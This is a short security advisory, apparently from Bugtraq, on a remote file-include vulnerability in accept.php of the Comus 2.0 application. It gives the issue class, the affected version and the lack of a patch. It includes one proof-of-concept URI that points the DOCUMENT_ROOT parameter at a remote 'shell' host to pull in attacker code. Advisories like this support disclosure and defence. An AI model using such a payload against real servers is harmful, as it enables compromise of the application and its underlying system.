Comus Accept.PHP Remote File Include Vulnerability

Bugtraq ID:	23661
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 25 2007 12:00AM
Updated:	Apr 26 2007 03:00AM
Credit:	[email protected] is credited with the discovery of this vulnerability.
Vulnerable:	Comus Comus 2.0
Not Vulnerable:

Comus Accept.PHP Remote File Include Vulnerability

Comus is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects Comus 2.0; other versions may also be affected.

Comus Accept.PHP Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/accept.php?DOCUMENT_ROOT=http://shell

Comus Accept.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

Comus Accept.PHP Remote File Include Vulnerability

References:

• Comus Homepage (Comus)
  
• comus 2.0 Final >> RFI ([email protected])